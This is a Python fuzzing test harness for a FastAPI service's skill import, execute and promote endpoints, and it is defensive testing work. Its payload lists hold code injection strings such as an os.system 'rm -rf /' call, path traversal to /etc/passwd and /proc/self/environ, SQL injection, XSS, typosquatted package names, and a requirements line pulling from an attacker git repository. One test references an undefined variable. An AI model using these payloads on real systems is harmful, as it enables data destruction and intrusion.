File size: 19,678 Bytes
aef804e
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
"""
Skill installation fuzzing harness for FastAPI endpoints.

This module uses Atheris to fuzz skill import, execute, and promote endpoints
to discover crashes, security vulnerabilities, and edge cases.

Coverage:
- POST /api/skills/import - Import community skill
- POST /api/skills/execute - Execute skill
- POST /api/skills/promote - Promote skill to Active status
- Security-focused fuzzing: code injection, typosquatting, path traversal
- YAML parsing fuzzing: malformed frontmatter, huge documents
"""

import os
import sys

# Add backend to path
backend_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
if backend_dir not in sys.path:
    sys.path.insert(0, backend_dir)

import pytest
from fastapi.testclient import TestClient
from sqlalchemy.orm import Session

# Import fixtures
from tests.fuzzing.conftest import ATHERIS_AVAILABLE
from tests.e2e_ui.fixtures.database_fixtures import db_session
from tests.e2e_ui.fixtures.auth_fixtures import authenticated_user, test_user

from main_api_app import app
from core.database import get_db

# Try to import Atheris
try:
    import atheris
    from atheris import fp
    ATHERIS_AVAILABLE = True
except ImportError:
    ATHERIS_AVAILABLE = False


# ============================================================================
# TEST SKILL IMPORT FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_import_fuzzing(db_session: Session, authenticated_user):
    """
    Fuzz skill import endpoint (POST /api/skills/import).

    PROPERTY: Skill import endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random skill content and metadata
    INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Various import sources (github_url, file_upload, raw_content, invalid)
    - Malformed SKILL.md content (0-10000 chars)
    - SQL injection in metadata fields
    - XSS payloads in skill descriptions

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz skill import endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz source (github_url, file_upload, raw_content, invalid values)
            source_type = fdp.ConsumeIntInRange(0, 3)
            if source_type == 0:
                source = "github_url"
            elif source_type == 1:
                source = "file_upload"
            elif source_type == 2:
                source = "raw_content"
            else:
                source = fdp.ConsumeRandomLengthString(50)  # Invalid source

            # Fuzz content (0-10000 chars, SKILL.md format, None, empty)
            content = fdp.ConsumeRandomLengthString(10000)

            # Fuzz metadata dict (0-10 keys, SQL injection, XSS)
            num_keys = fdp.ConsumeIntInRange(0, 10)
            metadata = {}
            for i in range(num_keys):
                key = fdp.ConsumeRandomLengthString(50)
                value = fdp.ConsumeRandomLengthString(100)
                metadata[key] = value

            payload = {
                "source": source,
                "content": content if content else None,
                "metadata": metadata if metadata else None
            }

            # Call POST /api/skills/import
            response = client.post("/api/skills/import", json=payload, headers=headers)

            # Assert status in [200, 400, 401, 422]
            assert response.status_code in [200, 400, 401, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST SKILL EXECUTE FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_execute_fuzzing(db_session: Session, authenticated_user):
    """
    Fuzz skill execute endpoint (POST /api/skills/execute).

    PROPERTY: Skill execute endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random skill IDs and inputs
    INVARIANT: Response status code always in [200, 400, 404, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid skill_id formats (None, empty, huge strings)
    - Code injection in inputs dict
    - Huge input values (DoS protection)
    - Invalid agent_id formats

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz skill execute endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz skill_id (50 chars, None, empty)
            skill_id = fdp.ConsumeRandomLengthString(50)

            # Fuzz inputs dict (0-20 keys, code injection, huge values)
            num_keys = fdp.ConsumeIntInRange(0, 20)
            inputs = {}
            for i in range(num_keys):
                key = fdp.ConsumeRandomLengthString(50)
                value_type = fdp.ConsumeIntInRange(0, 3)
                if value_type == 0:
                    # Code injection payloads
                    value = fdp.ConsumeRandomLengthString(1000)
                elif value_type == 1:
                    # Huge value (DoS test)
                    value = fdp.ConsumeRandomLengthString(10000)
                elif value_type == 2:
                    value = fdp.ConsumeIntInRange(-1000000, 1000000)
                else:
                    value = None
                inputs[key] = value

            # Fuzz agent_id (50 chars, None, empty)
            agent_id = fdp.ConsumeRandomLengthString(50)

            payload = {
                "skill_id": skill_id if skill_id else None,
                "inputs": inputs,
                "agent_id": agent_id if agent_id else None
            }

            # Call POST /api/skills/execute
            response = client.post("/api/skills/execute", json=payload, headers=headers)

            # Assert status in [200, 400, 404, 422]
            assert response.status_code in [200, 400, 404, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST SKILL PROMOTE FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_promote_fuzzing(db_session: Session, authenticated_user):
    """
    Fuzz skill promote endpoint (POST /api/skills/promote).

    PROPERTY: Skill promote endpoint should not crash on malformed input
    STRATEGY: Use FuzzedDataProvider to generate random skill IDs
    INVARIANT: Response status code always in [200, 400, 404, 409] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Invalid skill_id formats
    - Promotion from Untrusted -> Active status
    - Duplicate promotion attempts (409 conflict)

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz skill promote endpoint with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz skill_id (50 chars, None, empty)
            skill_id = fdp.ConsumeRandomLengthString(50)

            payload = {
                "skill_id": skill_id if skill_id else None
            }

            # Call POST /api/skills/promote
            response = client.post("/api/skills/promote", json=payload, headers=headers)

            # Assert status in [200, 400, 404, 409]
            assert response.status_code in [200, 400, 404, 409], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST SKILL CONTENT SECURITY FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_content_security_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz skill content with malicious payloads (security-focused fuzzing).

    PROPERTY: Skill import endpoint should not crash on malicious payloads
    STRATEGY: Test known attack patterns from Phase 237 bug discovery
    INVARIANT: Response status code always in [200, 400, 401, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Code injection: "__import__('os').system('rm -rf /')"
    - Typosquatting: "requests" vs "requets", "numpy" vs "numpyy"
    - Path traversal: "../../../etc/passwd"
    - Null bytes: "skill\x00name"
    - Metadata injection: author, tags with malicious content

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    # Malicious payloads from Phase 237
    malicious_payloads = [
        # Code injection
        "__import__('os').system('rm -rf /')",
        "eval('__import__(\"os\").system(\"id\")')",
        "exec(\"import os; os.system('pwd')\")",

        # Typosquatting
        "requets",  # vs "requests"
        "numpyy",   # vs "numpy"
        "panndas",  # vs "pandas"
        "flaskk",   # vs "flask"

        # Path traversal
        "../../../etc/passwd",
        "..\\..\\..\\windows\\system32",
        "/proc/self/environ",

        # Null bytes
        "skill\x00name",
        "author\x00injection",

        # SQL injection
        "'; DROP TABLE skills; --",
        "' OR '1'='1",
        "'; INSERT INTO skills VALUES (...); --",

        # XSS
        "<script>alert('XSS')</script>",
        "<img src=x onerror=alert('XSS')>",
        "javascript:alert('XSS')",
    ]

    def fuzz_one_input(data: bytes):
        """Fuzz skill content with malicious payloads."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Select malicious payload
            payload_idx = fdp.ConsumeIntInRange(0, len(malicious_payloads) - 1)
            malicious_content = malicious_payloads[payload_idx]

            # Fuzz where to inject payload
            injection_type = fdp.ConsumeIntInRange(0, 3)
            if injection_type == 0:
                # Inject in skill name
                content = f"# SKILL.md\nname: {malicious_content}\ndescription: Test skill"
            elif injection_type == 1:
                # Inject in content
                content = f"# SKILL.md\nname: test\ncontent: {malicious_content}"
            elif injection_type == 2:
                # Inject in metadata
                content = "# SKILL.md\nname: test\n"
                metadata = {"author": malicious_content, "tags": [malicious_content]}
            else:
                # Full payload as content
                content = malicious_content

            # Prepare payload
            payload = {
                "source": "raw_content",
                "content": content,
                "metadata": metadata if injection_type == 2 else None
            }

            # Call POST /api/skills/import
            response = client.post("/api/skills/import", json=payload, headers=headers)

            # Assert no crashes (validation errors OK)
            assert response.status_code in [200, 400, 401, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST SKILL YAML PARSING FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_yaml_parsing_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz YAML frontmatter parsing in SKILL.md files.

    PROPERTY: YAML parser should not crash on malformed YAML
    STRATEGY: Use FuzzedDataProvider to generate random YAML content
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Malformed YAML syntax (unclosed brackets, invalid indentation)
    - Huge YAML documents (DoS protection)
    - Cyclical references in YAML
    - Missing required fields
    - Invalid data types

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    def fuzz_one_input(data: bytes):
        """Fuzz YAML parsing with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Fuzz YAML content (0-5000 chars)
            yaml_content = fdp.ConsumeRandomLengthString(5000)

            # Construct SKILL.md with YAML frontmatter
            skill_content = f"""---
name: {name}
description: {fdp.ConsumeRandomLengthString(200)}
author: {fdp.ConsumeRandomLengthString(50)}
version: {fdp.ConsumeRandomLengthString(20)}
---

## Skill Content

{fdp.ConsumeRandomLengthString(1000)}
"""

            payload = {
                "source": "raw_content",
                "content": skill_content,
                "metadata": None
            }

            # Call POST /api/skills/import
            response = client.post("/api/skills/import", json=payload, headers=headers)

            # Assert no crashes (parsing errors OK)
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "yaml" not in str(e).lower() and "validation" not in str(e).lower():
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()


# ============================================================================
# TEST SKILL DEPENDENCY INJECTION FUZZING
# ============================================================================

@pytest.mark.fuzzing
@pytest.mark.slow
@pytest.mark.timeout(300)
def test_skill_dependency_injection_fuzz(db_session: Session, authenticated_user):
    """
    Fuzz skill dependency injection in requirements.txt.

    PROPERTY: Skill installer should not crash on malicious dependencies
    STRATEGY: Test malicious packages in requirements.txt
    INVARIANT: Response status code always in [200, 400, 422] (no 500 errors)

    RADII: 10000 iterations provides coverage of:
    - Typosquatting packages (requets vs requests)
    - Malicious package names (rm -rf, ../etc/passwd)
    - Conflicting dependencies
    - Huge dependency lists
    - Invalid version specifiers

    Args:
        db_session: Database session with transaction rollback
        authenticated_user: (user, token) tuple for JWT auth
    """
    if not ATHERIS_AVAILABLE:
        pytest.skip("Atheris not installed")

    user, token = authenticated_user

    app.dependency_overrides[get_db] = lambda: db_session
    client = TestClient(app)
    headers = {"Authorization": f"Bearer {token}"}

    # Malicious dependency patterns
    malicious_deps = [
        "requets",           # Typosquatting
        "numpyy",            # Typosquatting
        "../../../etc/passwd",  # Path traversal
        "rm -rf",            # Command injection
        "package==../..",    # Path traversal
        "package @ file:///etc/passwd",  # Local file
        "package @ git+git://github.com/attacker/repo.git#egg=package",  # Git URL
        "-e ../../..",       # Editable install with path traversal
        "package==999.999.999",  # Invalid version
    ]

    def fuzz_one_input(data: bytes):
        """Fuzz dependency injection with random input."""
        try:
            fdp = fp.FuzzedDataProvider(data)

            # Generate requirements.txt content
            num_deps = fdp.ConsumeIntInRange(0, 10)
            requirements = []
            for i in range(num_deps):
                # Mix of legitimate and malicious dependencies
                if fdp.ConsumeBool():
                    # Malicious dependency
                    dep_idx = fdp.ConsumeIntInRange(0, len(malicious_deps) - 1)
                    dep = malicious_deps[dep_idx]
                else:
                    # Random dependency
                    dep = fdp.ConsumeRandomLengthString(100)
                requirements.append(dep)

            # Construct SKILL.md with dependencies
            requirements_str = "\n".join(requirements)
            skill_content = f"""---
name: test-skill
description: Test skill with dependencies
dependencies: |
{requirements_str}
---

## Skill Content
Test content
"""

            payload = {
                "source": "raw_content",
                "content": skill_content,
                "metadata": None
            }

            # Call POST /api/skills/import
            response = client.post("/api/skills/import", json=payload, headers=headers)

            # Assert no crashes (validation errors OK)
            assert response.status_code in [200, 400, 422], \
                f"Unexpected status {response.status_code}: {response.text[:200]}"

        except Exception as e:
            if "validation" not in str(e).lower() and "422" not in str(e):
                raise

    atheris.Setup(sys.argv, [fuzz_one_input])
    atheris.Fuzz()